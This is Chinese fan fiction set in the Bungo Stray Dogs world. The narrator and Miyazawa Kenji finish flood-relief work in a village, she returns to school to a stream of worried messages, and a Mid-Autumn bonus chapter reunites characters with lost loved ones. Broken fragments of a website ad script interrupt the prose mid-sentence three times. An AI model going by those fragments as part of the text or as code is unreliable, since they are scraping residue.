帝丹小学处于东京的繁荣街市,又拥有优质的师资力量的教学资源,从小学开始就会给学生们布置小组调查任务,我和小兰圆子新一成为了一个小组。而新一他们又是认真的性格,从来不肯敷衍了事。 调查、采访、统计、总结、协商……这些可是我在帝丹小学,和小兰他们走南闯北摸索出来的技能。可以说,统计是我为数不多的擅长的技能。 “可是,要耽误你这么久。”贤治内心动摇了,又犹豫地看着我,担心给我添麻烦。 “并没有。”我歪头笑笑:“我的膝盖不止是外伤,软组织也受损了。一个人回学校很困难的,更别提上学了。还不如养两天。” 贤治泪汪汪地要说什么,我笑着直接捂住他的嘴。我凑近他,鼻尖几乎和他挨着,看着那双单纯的眼睛,我说:“不要找理由了,我有困难时,贤治也不会为你自己找借口推脱的,对吗?” 他安静下来。我从他的眼里读出了认同。 “更何况我不是只因为贤治才留下来的。”我认真地解释:“伊哈特伯村的各位把我看作亲人,现在他们需要我,我难道要回去上课吗?” 贤治的双眸一点点亮起,我看见他澄澈的眼里倒映着我姣好的面容。此时我才意识到我们离得有多近,我不太好意思地后仰,松开手轻轻把他推开。 “谢谢你,佑木。” “不必多言。”我仍旧摇头,坚定地说:“我们要做的还有很多。” 36.行至伊哈特伯(五) 接下来两天就是我的战斗时间。一开始我拿着纸笔到处跑,从村长那里拿了每户人家的信息,一个一个调查。后来月姐心疼我的腿伤,把我按在旅馆,发话让每户出一个人抽时间到我房间登记。 即使这样节省了一大部分跑路时间,记录这些琐碎的事情很麻烦。而一些细节又关乎他们来年的生计,对此我只能揉揉眉心熬夜整理。我们只有三天时间,贤治在村庄努力干活重建家园的同时,我也想为他们做更多的事情。 生活补助金、房屋修缮金和临时生活困难救助的口粮住所取暖等费用……各种数字让我眼冒金星,大部分时候都忙的晕头转向。有时候我实在受不了,就把笔一投扑回被窝,把手搓热捂着酸涩的眼睛,想着就歇息一会,常常就这么睡着了,醒来总发现身上盖着谁掖好的被子。各个村民的面孔在心中闪过一遍,我给自己打打气又起身投入数字深渊。 开学的第二天下午,政府的相关工作人员终于和我完成了冗长的协商,如约将费用交给村长。考虑到村民实在不会用钱,我便让村长把关,用了一半的费用采购一批木材、工具和鸡苗鸭苗。各类工具用于重建村庄,剩下的钱按照我列的清单发给每户。通过这两天在村庄和小镇的来回奔波之中,伊哈特伯村和外界的屏障已经被打破,我相信不久他们就会知晓如何使用金钱这种货币,届时这笔钱是他们交易的本金。 除此之外,我还为独女小春死于乱石的月姐申请了抚慰金,虽然过程很麻烦,但好在时限不长,抚慰金最后也会送到月姐家。 我知道月姐不在意这笔钱,但这是我唯一能为她做的事。 第三天上午,也就是请假的最后一天。鸭苗采购的事情还没办妥,但大致的流程村长一人足矣完成。宫泽贤治那边,村庄的重建已经度过最艰难的阶段,剩下的事情不必贤治的参与。 而我的腿也在这两天的休养中慢慢康复,只有膝盖上难看的伤疤还未消除,好在行动并不受阻。我和宫泽贤治商量了一下,决定下午离开。临行前,他带我回到了伊哈特伯村。 因洪水撤离后,我再没回到过这里。如今看到和记忆中大相径庭的村庄,心中百味陈杂。 这是重建后的新世界。 田地只修好了田埂,地里还是乱七八糟一片,但相信来年又会撒下饱满的种子;房屋颜色深浅不一,能看出近几天新修建的房子闪着崭新的原木颜色——好像是我购买的木料;牛羊等家畜在山坡上挑挑拣拣地吃着草,还和两口泥,听声音总感觉骂的很脏…… 家园被毁,我本以为村民会很沮丧失落,出乎预料的,他们脸上只有希望与快乐,擦着汗水继续挥舞着锄头,欣然接受自然之怒,在这片世代相传的土地上耕耘。 “看,你的流苏树。”我轻声说。 不远处,那间熟悉的房屋看起来沧桑了很多,大概是考虑到不急着居住,贤治没有管自己的房屋,先去帮忙修葺了别人的房子。 院子的流苏树已经折断,从我们的地方只能看到光秃秃的枝干,和初见时繁盛动人的雪色判若两树。 宫泽贤治停止脚步,久久凝视着那断木,我看到他湿漉漉的眼睛里承载了追忆过去的怀念之情,那是我认识他起这个少年第一次露出这般复杂的表情。 “我回去看过一次。”宫泽贤治说,“没有完全死掉,但不能确保活下来。” 我点点头。流苏树可是很精贵的树,主干拦腰截断,存活率恐怕很低。 “你打算怎么做?” “我嘱托了月姐帮我照看。如果活不下来,就重新栽一棵。如果活下来了……”他声音变小,嘟囔着,“我会……我会更加珍惜它的。” “再也不会,忘记它。” 也许是错觉,他的眼中闪过类似于悲恸的情绪,仔细看时,却只有落寞,好像只为断木而悲鸣。 “所以,”我微微侧目,“你记起来栽树的人了吗?” 他没有回答。山岗上的风越来越大,吹起我的长发。发丝打在他脸上,我笑着把头发拨开朝他道歉。喧嚣的风声中我看见他嘴唇翕动了一下。 “你说什么——”我喊着。 “没关系——”他提高声音。 我微拢着长发,防止它再次被风吹散。疑惑地看着他,明明两次口型都对不上。 他第一次说了什么呢?他的无声的口型在我心中浮现,我仔细思考很久,却猜不到他说了什么。 良久,他说:“时间不早了,我们回去吧。” 于是,我们踏着喧嚣的风,离开了这片土地。 回到旅馆,账务的事宜已经提前交代过了。我收拾好行李,面对送别的众人,一时间不知说什么。诚然一开始来到村庄时,我很不适应。但大家一直在包容我的害羞,把我当做村庄里的孩子照看。特别是腿伤之后,虽然村民们并不理解我天天在纸上写写画画在干什么,却一直积极地配合着我。一碗尚温的宵夜,一件打补丁的外套,或者不忍心看我劳累总是小心翼翼蹦出的一句“算了吧”,还有晚上聚在一起轻声合唱的不知名山歌。——在这里待了六天,我也道不明此时纷杂的思绪。 但分离是必要的,我压下心头的异样,朝一个个熟悉的面孔挥了挥手,呲着牙欢快地说:“下次再见啦——各位!” “再见了,小佑丫头。”人群中的各位笑着招手,“贤治,照顾好小佑啊,她腿伤还没好。” 我轻快地蹬了蹬腿,“这点伤对你们来说不算什么吧?” “你可是城市孩子,和我们不一样的。” “有什么不一样?”我笑着说,“你们也见识过县城了,难道这比村里好?过两天拨下来的钱记得收好,不可以用来喂猪、烧火,明白吗?” 人群传来答应声,只是有几道声音显得不情不愿。显然是之前被我骂过好多次的几位人才。 我撇嘴还想再说几句,突然被一个温软的身体一把搂住。 “小佑,有空一定再回来,好吗?”那个温柔的女声响起,我抓着她的手紧了紧。是月姐。其实我想快点走,不要见到在村庄帮忙的月姐,又不知为 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 何磨磨蹭蹭收拾行李,想要看到谁的身影。 “好。”我的喉咙里挤出这句话,发现我早已哽咽。我最舍不得的人就是月姐了,在村里是她一直关心着我,还把我领到她院子里休息,暴雨时是她嘱托贤治来找到我,在旅馆也是月姐照顾着有腿伤的我。 她对我的照顾无微不至,就像……就像照顾女儿一样。 “月姐,”我把头埋在她衣襟处,“小春和我像吗?” 在旅馆时,花嫂曾和我感慨,如果小春还活着,也许能和贤治一起去城里上学,和我们一道离开。那时的我就隐约知道了月姐对我的熟稔感来自何方。 “不像。”出乎意料的,她很快反驳了我。月姐理了理我的头发,“你比小春勇敢、聪明。你们不一样。” 小春,一个普通的农村小女孩。她不敢独自留下顶着倾盆大雨,挨家挨户通知撤离。她也不会算数、统计,在受伤后会撒娇打滚哭泣,不会安分坐在旅店里修养,还夜以继日地筹谋月姐不懂的东西。 所以她不懂山势,偷偷跑出去玩。在山中迷路后无法求助,彷徨挣扎,直至被改变走向的山体掩埋。 她们不一样。但那个普通的小女孩,是她的女儿。 她的动作轻柔、眷恋。浓密的睫毛投下一片阴影,遮盖住眼底的复杂情绪。 几天前的暴雨让她心有余悸。熟悉的山雨欲来的场面是她永远无法遗忘的记忆,似乎已经看到带着血迹的山石,她的灵魂深处已经在颤抖。滑坡不知道什么时候就会降临,面对这样的危机,村里人都争先恐后地撤退,只有她撑着伞一直守在南路口,魂不守舍地看着每一户离开的人家。 那个小小的身影总是在她心头浮现,她一一看过每一张慌忙撤退的面孔,每一个、每一个都不是她。那个叫佑木的孩子,那个和小春一个年纪、一样活泼的女孩,如今在暴雨中,她也和小春一样不知去向。月姐不敢想,她是否也会看到和小春一样冰冷的尸体。如果让她两次看着蛛丝无力地垂下,不如直接让天灾毁掉她的所有。 于是她冲进雨中,想去寻找那个女孩,却被村长拦下。当月姐找到贤治时,她用颤抖的嗓音叙述小佑的失踪,失去女儿的痛苦与恐惧再次卷袭了她的心头,她几乎没办法冷静下来。 还好,贤治找到了小佑。当小佑在旅馆因为疲惫陷入沉睡时,她不知多少次紧紧握住那双因长时间泡在雨中而发皱的手,眷恋地描绘着小佑安详的睡颜,抚平自己心中的恐慌。 还好,你活下来了。 你将拥有和小春截然不同的人生轨迹,你将回到城市,回到你爱的人身边。 你仅仅是活着,就为某些人带来了莫大的希望。 她湿润的褐色双眸深深凝视着我,轻轻推我一把,把我塞到宫泽贤治身边,“走吧,小佑。” 被宫泽贤治扶住的瞬间,我脑子浮现出早上在山岗上,他翕动的唇瓣。我知道他当时在说什么了。 小、春。 ……就这样,伊哈特伯村的六天旅程成为了过去式。 37.黑夜镜花 “无论多少次坐新干线,我都会觉得神奇。”宫泽贤治坐在座位上,依旧好奇地盯着窗外感慨。其实这只是他第二次坐新干线,我坚信他多坐两次就习以为常了,窗外飞驰的景色总是美的千篇一律。 “而且新干线更快。你下次回家可以让社长帮你买票。”我说。 “社长总是很忙。” “那就来找我——如果你愿意。” “谢谢你,佑木。”宫泽贤治轻快地说。 我摆手:“举手之劳。” 经过六天的相处,我们对彼此更加熟稔,已有些话已经无需多言就能领会。 我托腮看着窗外:“将近一周没见到横滨的各位了,居然还有点想他们。” 嗯,说到横滨的朋友们,总觉得什么东西被隐隐抛之脑后了。是什么呢。 “我也很想侦探社的各位。”宫泽贤治眼中亮晶晶的。 看着外面飞逝的景色,我懒懒地打了个哈欠:“话又说回来啊,欠了三天的课,这次回去肯定又是一场硬仗——” “是啊,而且还要分析月考成绩。”宫泽贤治单纯地笑着。 “……”我石化。 “佑木?”他凑过来,看见我还保持着打哈欠的姿势,嘴都没有合拢,眼里闪着惊恐。 完、全、忘、了! “不必担心啦,佑木你复习得那么刻苦,成绩不会差吧?”他安慰。 “是啊、我还用了贤治备考大法呢。”窒息的回忆又涌上心头,我面色如常地微笑,只是身后冒出黑气。 看着我的神情,宫泽贤治迟疑地问:“……还要再来一拳吗?佑木。” 我咬牙,说:“切!才不要。过去了就是过去了,不反悔。” 虽然我确实很想再补一拳。 回到学校已经是下午了,我先去宿管部的值班学姐那里登记返校,明早再去种田老师办公室找他销假。在旅馆已经洗过澡,我回到宿舍,行李一放就扑进心心念念的柔软被窝。 这两天的高强度工作让我非常疲惫,在路上尚能强撑,现在一沾枕头眼皮就自然地耷拉下来,很快陷入昏迷状态。整个人睡昏过去。 迷迷糊糊醒来后,我盯着天花板被改造过的污垢小妖精发了会呆,打了个哈欠又往暖和的被子里使劲钻了钻,那个哈欠似乎把我好不容易恢复的体力槽清空了,我瘫在被窝再次陷入沉睡…… 好吧,没睡过去,饿醒了。 午饭是在新干线上随便应付的,现在已经饿得睡不着了。我不情愿地拱了拱枕头,随即顶着鸡窝头诈尸,还是选择起床觅食。 刚下床,甚至没有换鞋,就闻到一阵饭香。我疑虑地皱皱鼻子,怀疑自己闻错了,但这个味道确实是我魂牵梦绕的咖喱店的咖喱牛肉饭。 我把目光投向我桌子上的饭盒,显然那是万恶之源。既然放在我桌子上,那就是我的了——我早就蠢蠢欲动的魔爪缓缓伸向饭盒。 我发现饭盒盖子上贴着一张浅色便利贴,清秀的字体写下:欢迎回来,佑木。 是小银的字体。 我仔细看着便利贴,内心:TvT 我不过和小银提过一嘴校外一家咖喱饭很好吃,没想到她默默记在心里。小银总是这样,会默默记下每一个细节,在你需要的时候出现。 我吃完不加辣的咖喱饭,想给小银发个消息。拿起手机才想起它已经没电关机了……没错,之前在村庄就电量告急,给种田老师请完假后就关机了。在那里充电并不便利,索性我也没时间看手机,干脆任凭它关机到现在。 等等,那我这三天、算失联吧? 想到收假后请假三天的行径,我不禁汗颜,赶紧把手机充上电。捧着手机等了一会后小心翼翼地开机。 好像……没有动静? 我松了口气,又随即涌起隐隐的失落。这点可笑的情绪还没来得及发酵,紧接着就是劈头盖脸一堆消息,提示音络绎不绝,把我砸懵了。 【医者狠心】今天不来医务室? 【医者狠心】听社长说你和贤治遇到山体滑坡?有没有受伤? 【医者狠心】连消息都回不了?? …… 【小咪在哪里】佑木,你和贤治还好吗? 【小咪在哪里】看来你并不方便,那就回来再聊,祝你好运。 …… 【今天又加班】千叶,学生会收到了你和宫泽贤治的请假条,注意安全。 【今天又加班】【岩手县村级自然灾害救助应急预案.doc】 【今天又加班】或许你需要。 …… 【人虎必须死】银很担心你。 【人虎必须死】……没想到你的成绩完全没有谦虚。 …… 【一碗茶泡饭】千叶!!你那边怎么样??! 【一碗茶泡饭】居然没有回消息……千叶你不会出事了吧? 【一碗茶泡饭】镜花每天都问你的情况。等你回来!! …… 【阿银】我明天返校,你呢? 【阿银】咦,乡下没信号吗…… 【阿银】不在宿舍?我给你带了伴手礼。 【阿银】啊,哥哥和我说你请假了。岩手的情况如何?看来你八成收不到消息,希望你没事。 【阿银】山体滑坡很危险,而且发生在那么偏僻的村落。不过你和侦探社那个人一起行动,应该没有问题。 【阿银】应该没有问题……你一直没有回复消息,我都有点怀疑自己的结论了。 【阿银】开玩笑的。一定没事。 【阿银】哥哥说你请了三天假,那今天晚上就会回来吧? 【阿银】你回来的比我预料的早。给你带了咖喱饭,不知道是不是你喜欢的那一家。我在学校附近转了两圈,只有这一家咖喱店。 好家伙。 我看着机关枪似的不断往出冒的消息,有几个连续几天给我发消息却得不到回复的人,似乎隔着屏幕能感受到他们的担心和焦虑。我头顶冒出冷汗——一旦确保我的安全,这些关心都会迅速转化为怒气值。其他人先不说,晶子本来认知就不太正常,生气起来会把我卸成几块我都不敢想。 我沉思两秒,还是主动滑跪。 【佑我月考】晶子学 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 姐!!我回来了!!(诈尸)(掀棺)(爬出来)(叼玫瑰)(跳舞) 【佑我月考】我膝盖受伤了,在旅馆养了好久(哭泣.jpg)但是现在快痊愈了。 【佑我月考】主要是充电不方便,手机就一直关机。下次见面细讲,学姐明天见! …… 【佑我月考】谢谢绮罗子 !我已经回宿舍了。 …… 【佑我月考】坂口学长你是我肚子里的蛔虫吗…… …… 【佑我月考】芥川我返校了。我超级想你和小银的。 【佑我月考】什么成绩?有种不好的预感……明天见。 …… 【佑我月考】谢谢你的关心,中岛君。我和贤治都没事哦。 【佑我月考】麻烦和镜花也说一下,我没加上她的LINE。 …… 【佑我月考】小银!!!我超级想你的!!在岩手那边网不好,没时间联系,没有回复你的消息,真是抱歉。 【佑我月考】我终于回来了(仰天大笑.jpg) 【佑我月考】就是这家咖喱饭,老香了!谢谢小银,爱你。 回复完消息,我已经没了困意。伸伸懒腰,把宿舍的窗帘拉开,看见窗外已经黑下去的天色:“……” 嗯,我睡了这么久吗…… 我呆立在床边静静地思考了一瞬,还是转头先收拾宿舍。我离开的时候带走的东西不少,没想到去了村里几乎都没用过,倒是匆忙中丢了一大堆。我的桌子大概也被小银顺手收拾过,几天过去没有落灰。 我把背包里的东西一个一个拿出来放到应在的位置。书桌收拾整齐后,我在“继续睡觉”和“出去走走”中选择了后者。 一直睡觉固然爽,但也是会头疼的。 我在学校里像该溜子一样沉淀式乱逛,看着学生们抱着书本匆匆路过我,非但没有感到不安,反而背起手深沉地朝他们点头示意,幻想我是某位巡视校园的大领导。光说这样臆想就有点爽。完全没有想过我在外人眼中的形象与其说是领导,不如说更像在求学少年面前显摆的社会闲散人员。 反正我明天才上学。 爽。 这样随意地散发着思维,突然眼尖地瞥见一个熟悉的娇小身影,在侦探社下与白发少年分别。 镜花。 算算时间,现在确实是侦探社一年生的下班时间。也许是离校太久,我一开始都没反应过来。中岛君应该还有临时的跑腿任务,镜花和他告别后就一个人走向宿舍。 我把身体藏在暗处,看着那个久违的黑发少女面无表情地走在小路上,步伐缓慢又坚定,像受过训练的贵女一般优雅,让人莫名看出红叶学姐的手笔。很快镜花就走远了,只留下一个清瘦的背影,影子在路灯下被拉长变虚,又在下一个路灯的作用下缩短。脚下影子的变换间,安静走路的镜花显得有点孤独。 我眨眨眼,突然灵光一闪。 校园夜路、孑然一身、四下无人……身后突然出现冰冷的身躯,在你耳畔低语,紧接着传来阵阵阴风…… 会不会很吓人? 38.中秋番外:花好月圆 中秋节小番外 “咚咚。” “咚咚。” 清晨,与谢野晶子的宿舍门就被敲开。昨晚熬夜探究解剖学的她其实根本没有睡觉,她打着呵欠推开门:“谁?” 门外空无一人。她皱眉,以为是哪个不长眼家伙的恶作剧。正打算关门,传来一个微小的声音:“请问您是与谢野晶子吗?” 她低头一看,原来是一个小孩子。横滨高校怎么会有小孩?难道是谁家老师的孩子……等等、她突然睁大眼睛。 这个小孩怎么有点眼熟? 她蹲下身,和小孩子平视。那个粉雕玉琢的小女孩怯怯地看着面前的女性,带着点婴儿肥的脸遮不住清澈灵动的熟悉双眸。她身穿鹅黄长裙,有着浅绿的飘带装饰,裙上绣着白兔捣药和桂花暗纹。看起来飘逸超然,又不失灵动娇俏。 黑发杏眼褐眸,轻声细语乖巧安静,这不就是千叶佑木缩小版吗?! 与谢野晶子惊疑不定地问:“佑木?” 小女孩眨了眨眼。她说:“一起过中秋节吧。” “中秋节?”与谢野晶子停顿一下,“十五夜?” “一起过中秋节吧。”没有得到想要的回应,小女孩不情愿地重复一遍,绕着与谢野晶子走了一圈,在与谢野身边蹭来蹭去的样子像一只幼猫。 “等等,佑木,你这是什么情况?” “一起过中秋节吧。” “……”与谢野晶子头疼地扶额,看来不答应这个孩子,她是不会回答任何问题了。她无奈地回答:“我答应了。你现在可以回答我的问题吗?” 小女孩高兴了:“我是小木。” “你就是千叶佑木啊。”与谢野晶子望着这个糯米团子陷入沉思。儿童时期的骨相会有所变化,但是这个孩子的骨相和佑木几乎一样。 缩小版千叶佑木摇摇头:“不认识。” 遇事不决,与谢野晶子拎起小千叶佑木走向侦探社。小短腿挣扎着说:“放开我,我还要去找别人……” “虽然不知道你今天又抽什么风,但这次还是先跟我走吧。” “变小了?” 侦探社内,众人围着小千叶佑木观察,陷入沉思。太宰治兴致勃勃地戳着小千叶的脸,被她不高兴地挥手赶走。 “长得像的小孩子也不是没有……”国木田试探地说。 与谢野晶子宛如看智障:“你见过一比一还原的小孩吗?” 众人看着和千叶佑木完全一致的小孩,实在难以相信是巧合。 “这就是佑木那个笨蛋啦。”江户川乱步吃着棒棒糖,满不在乎地一槌定音。 “难道是异能力?可她连记忆都没有。”与谢野晶子一筹莫展。要是其他人她还能兴致勃勃地计划着解剖观察生理结构,可现在她面前的可是麻烦精佑木,变成糯米团子之后还是个三不沾,和本体性格一点也不像,不亲人,只是出于礼貌有问必答。 小千叶佑木仰着头左看看右看看,重复一句话:“一起过中秋节吧。” “这个样子的佑木更可爱了……”春野绮罗子冒出粉红色泡泡,伸手想要抱小千叶佑木。小千叶乖巧地任春野绮罗子和谷崎直美捏脸,含糊不清地说:“一起过中秋节。” “她来找我的时候也是这样,不答应她,她根本不会说其他话。”与谢野晶子双臂抱胸冷漠地望着这个麻烦精,看见其他人不亦乐乎地捏着她的脸,手指微动。 “这件事还有蹊跷,你不应该轻易答应。”社长不赞成地看着她。 与谢野晶子挑眉回望。 社长的和服突然被揪住。孤剑士身体一僵,缓缓转头。小千叶顶着通红的半边脸颊,怯怯地说:“一起过中秋节吧。”眼里有这期待。 社长沉默下来。在侦探社成员震撼的目光中果断说:“好。” “……社长,不是不能轻易答应吗?”中岛敦慌张地说。 “就算有阴谋,也不足以畏惧。”社长冷声说。 与谢野晶子一脸= = 她就知道。 也许是知道其他社员不会轻易答应,小千叶不再搭理别人,一个人默默坐在沙发上玩手指。小小的团子看起来有些失落,精致的小脸微微皱起。 “你吃吗?”传来窸窸窣窣的声音,太宰治递过来一根棒棒糖。小千叶犹豫一下,没克制住好奇,接过了棒棒糖,含进嘴里。 “那有一个按钮。”太宰治笑眯眯地示意糖棍的一个粉色开关。小千叶按下它。 她睁大眼:“有音乐。” “是啊。”太宰治托腮看着小孩子。“喜欢吗?” “……喜欢。” 江户川乱步越看越不对劲:“太宰,棒棒糖哪来的?” “啊,从乱步桑的办公桌位找到的。”太宰治神色如常地笑着,“特殊时期,乱步桑请牺牲一下吧。” 江户川乱步不满地鼓起脸看着吃糖的小鬼。 “小木,你多大了?” 小孩子没回答。 “你为什么来这里。” 她想了想,说:“和你们一起过中秋。” “你是谁?”太宰治温柔地问。 小千叶确信:“我是玉兔。” 侦探社众人:“……” “仔细一想,这个年龄的小孩,的确容易有这种幻想……”春野绮罗子一言难尽地说。 “到时间了。”因为说出自己玉兔的身份而沾沾自喜有些小骄傲的小千叶心满意足地跳下沙发,跑出侦探社。不忘回头嘱咐:“今晚别忘了到晚香堂赏月哦。” “等等,佑木!”社员慌慌张张地喊到。谁知小千叶左藏右躲,竟然完美避开众人的阻拦,从门口闪了出去。 看着早已消失的身影,众人面面相觑。 “你为什么没抓住她?” “我怕弄伤她啊。你为什么不抓?” “我也一样。” “……” “一起过中秋节吧。” 坂口安吾的办公室被打开,一个小小的脑袋冒了出来。 “?什么情况。”坂口安吾迷茫地看着这个小版佑木,怀疑自己加班太多出现幻觉了。 “一起过中秋节吧。” “好啊。”坂口安吾放下手头的加急文件,自然地答应道。他皱眉捞起小千叶:“不过首先要给你做个检查。” 十分钟后,猎犬副队长大仓烨子饶有兴趣地看着眼前的小孩:“千叶佑木这个家伙变小了?” 她乐不可支地玩着小孩细软的辫子:“虽然我早就想过这么干,但的确不是我的功劳啊。” 条野采菊在一旁观察这个小孩子,“真是有趣。横滨还没有第二个能控制年龄的异能者吧。” 末广铁肠冷静地说:“不管怎样,先答应下来。看看这小孩有什么打算。” 他不善的目光在小孩身上流连,坂口安吾皱眉挡住末广铁肠的视线:“我已和武装侦探社核实,这孩子的确是千叶佑木。” 不要用恶意去揣测佑木。 ……尤其是,玉兔版本的小千叶。 “一起过中秋节好吗?” 小千叶蔫哒哒地出现在茶室,尾崎红叶握着茶杯的手一顿,优雅地放下昂贵茶杯,看上去无不稳重端庄。只是茶杯里层层涟漪不停,象征着主人内心的惊讶。 “好啊。”她温柔地说,看着眼前唇红齿白的小人:“虽然不知道你发生了什么。但是,你怎么会这么累呢?小佑。” 眼前人的熟稔让小千叶放下局促,她坐到尾崎红叶身侧,别扭地靠着尾崎红叶,说:“跑了一早上,为了让大家一起过中秋节——太累了。” “辛苦了,小佑。”尾崎红叶摸摸小千叶的头。对面的森鸥外微笑:“所以我们是最后一批吗?真让人伤心啊。” “唔。”小千叶想了一下,“因为黑手党是最容易答应的嘛。” “为什么?”森鸥外意味深长地看着这个突然闯进黑手党的小型佑木。她的出现和动机实在是蹊跷,偏偏红叶君对这个小孩子丝毫不设防。 “因为,中秋节是团圆的节日。”小千叶说,“可以见到思念的人。” 黑手党的人啊,是一边失去一边长大的孩子们。是最渴望也最无望团聚的人的集合。 “……是吗?” “而且爱丽丝也想去吧。” 金发女童身着华丽的长裙,高兴地跑过来抱住小千叶:“我要去嘛!林太郎!” 两个高颜值小女孩相拥的场景实在养眼,森鸥外摸着下巴看着眼前一幕:“嗯,真可爱啊……” 他的话很快停下。尾崎红叶微笑地凝视着自家首领。 爱丽丝和小千叶跑出茶室的碎步声远去,尾崎红叶温柔地双手递过一杯茶:“请尝,首领。” 森鸥外:“……”好烫。 “……这是?!”黑手党大楼内,高冷的银发杀手无法控制住震撼之情。“佑木早上起来就不在宿舍,难道……” “银。”小千叶一字一顿地念道,“一起过中秋节吧,还有你的哥哥芥川龙之介。” 芥川龙之介在银身侧冷漠地看着这个孩子。缓缓抬手…… “哥哥!”银阻拦,“事情还没查明,不要伤害她。” 下一秒,他的手已经搭上小千叶的脸。扯扯她Q弹的小脸,芥川龙之介发出冷笑:“迟早把你的眉毛剃了。” 银:“……” “一期锅中秋节趴——”小千叶十分执着。 “那就去看看吧。”芥川龙之介矜持地收回手,指尖似乎仍停留着细腻柔软的触感。 银看着小千叶通红的脸,只无奈地戳戳她的光洁额头,小声说:“下次见到我哥,躲着走,知道吗?” 她都没舍得捏小千叶的脸 是夜,中秋月圆。晚香堂的庭院早已聚集一批人。也许是月色格外的美丽,往日剑拔弩张的势力也客气地坐在一起,表面看起来格外祥和。 尽管如此,仍有意料之外的人出现。 “……爸爸、妈妈?”泉镜花怔怔看着眼前温柔的男女,不敢相信自己的眼睛。“是你们吗?” “小镜花。”泉母蹲下搂住泉镜花,轻轻抚摸着镜花柔顺的长发,“我和你爸爸早上收到小木小姐的邀请,决定赶过来和你一起过中秋。” 泉镜花想说什么,张口却只剩柔软的哽咽。紧紧搂住泉母的脖子,就像童年一般纯粹。 “……她的来头真是不小。”远处围观与谢野晶子复杂地抱胸:“知名政客都能邀请来。” 但和她有什么关系?只要她和侦探社的大家在一起就够了,别无所求…… 下一秒,熟悉的故人出现在眼前。 饶是冷静沉稳的与谢野晶子也控制不住头脑发懵,她上前几步,头上金属头饰的主人就在前面。那少年的笑容一如既往地温柔,却不让她感到悲伤,而是回到第一次被称为“天使”的时候,那种局促又雀跃的少女单纯情怀。 她还未走进,那个少年就被一另一个人一把拥住:“哥哥!” 立原道造紧紧抱着许久未见的哥哥。以往和自己并不亲近的弟弟突然黏上来,立原哥哥有点惊讶,他无奈又好笑地揉揉弟弟的脑袋:“还是这么冲动……” “立原?!你也在这里?”大仓烨子如同人形自走音响,大嗓门让附近一圈都听到了。她身后的猎犬众人默默扶额。 她突然意识到不对,赶忙闭嘴。旁边的广津柳浪眯起眼睛:“看来二位私交甚笃。” 立原哥哥毫无知觉地笑着说:“道造你不是一直想加入学生会吗?现在已经是猎犬的一员了吧?” 在哥哥怀里的立原道造:“……”缓缓落下一滴汗水。 马甲掉的猝不及防。 猎犬队长福地樱痴好笑地摇摇头。在这个祥和的月夜很难生起什么敌意。他惬意地摇摇酒壶里的桂花酒,“好不容易见一面,喝一壶?” “当然,源一郎。”社长颔首,目光却从来没有离开过自己小孩。那个侦探服的江户川乱步,正和自己从小学就失联的爸妈说着什么,难得不见吵闹的样子。 谷崎兄妹相互依偎着,最思念的亲人莫过于彼此。 中岛敦僵硬着把目光从恩爱的谷崎兄妹身上移开,下一秒面前出现了一个熟悉的背影。他的动作一顿,静静地凝视着那个给他来带噩梦又重塑他精神的……院长。那个蘑菇头依旧冷峻严肃,望向他的双眼却不再承载着厌恶,似乎是……可以成为笑意的东西。 中岛敦没有动。他朝这位值得尊敬的院长微微颔首,没有走进反而是坚定地转身离开。 “……太宰学长?”中岛敦看见庭院的角落,太宰治靠着树不语,抬头看着皎洁明月。 “是敦啊。”太宰治浅笑,不同于往日虚假的笑容,此时的他格外放松,“不去见他吗?” 中岛敦默然摇头。“芥川呢?”这时候芥川那个家伙不应该死死赖在太宰学长旁边吗? 太宰治扬起下巴示意。远处的芥川和银正在和一对夫妇说着什么。那相貌一看就是芥川兄妹的父母,其中老父亲果然没有眉毛。…… 太宰治轻声说:“这才是值得他驻足的东西。” 中岛敦不知如何回应。这时的太宰治虽然温柔,却格外落寞。 “太宰。” 冷静的声音响起,坂口安吾唇边的一颗痣随着嘴的开合更添一抹严肃。他扶了扶眼镜:“难得中秋夜,就打算一个人在这里度过?” 太宰 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 治懒洋洋地抬眸,下一秒日思夜想的红发映入眼眸。他的眼睛睁大,心里似乎被什么东西挠了一下:“织田作?” 红发青年还带着胡茬,担忧地问:“太宰不舒服吗?需不需要去医务室?” “十五夜怎么会有人在医务室值班。还不如让与谢野小姐给他一个痛快。” “唔,但是与谢野小姐的异能力对太宰无效吧。” “所以说给他一个痛快啊。” 太宰治鸢色眼眸倒影着一黑一红的两位挚友。良久发出一声怀念的轻笑,难得不夹杂任何讽意。 “太宰难得这么开心啊。”森鸥外感慨道。 “镜花酱也见到了父母。”尾崎红叶掩唇轻笑,“首领呢?没有想见的人吗?” 森鸥外报以温柔的微笑,突然从他身后钻出来一个金发女童。她不满地捶着森鸥外的小腿:“讨厌林太郎!” 森鸥外并不生气,他轻轻抚摸着爱丽丝的头:“我有爱丽丝陪着就够了。” 尾崎红叶无言以对。即使是跟随几年的下属也无法揣摩他和异能体之间复杂的情感。森鸥外调侃她:“红叶君今晚也会心想事成的。” “妾身吗?”尾崎红叶一愣,“妾身已经很满足了。” “是吗?”森鸥外笑着问。 正当疑惑这首领又有什么计划,身后传来久违的故人之音:“红叶。” 尾崎红叶恍如隔世。 “红叶。”月色下的少年眉眼温柔,仿佛能投过双眸看见多年不改的忠勇与赤诚。“好久不见。” 日思夜想的同伴,此刻就在身前。多想拥住少年,却不敢抬脚走进,犹恐一切都是虚幻。 森鸥外识趣地离开,他发现刚刚还在身旁的中原中也早已不见身影。森鸥外粗略一瞥,那少年被同伴包围着,发出肆意的笑容。 是谁?森鸥外心下了然。原来是中原中也曾经旗会的挚友们,离别多时的,能被称为一句“亲人”的挚友们。他本以为中也会见到“羊”的成员,看来重力使也有早已割舍的东西啊。 “中也,你手机响了。”信天翁示意。 还处于兴奋中的中原中也随手掏出手机,看到来电显示着“魏尔伦”。 “哦。”他顺手挂掉。“没什么大事,我们继续聊吧。” 宫泽贤治安静地看着院中突然出现的洁白流苏树。他惊叹地摸摸小山和花子:“佑木真了不起。我的朋友们都能请过来呢。” “既然如此,小咪为什么不在。”春野绮罗子撅起嘴有点失落。随机眼前出现了熟悉的三花颜色,她惊喜地抬头,原来是夏目校长。春野绮罗子心如死灰。 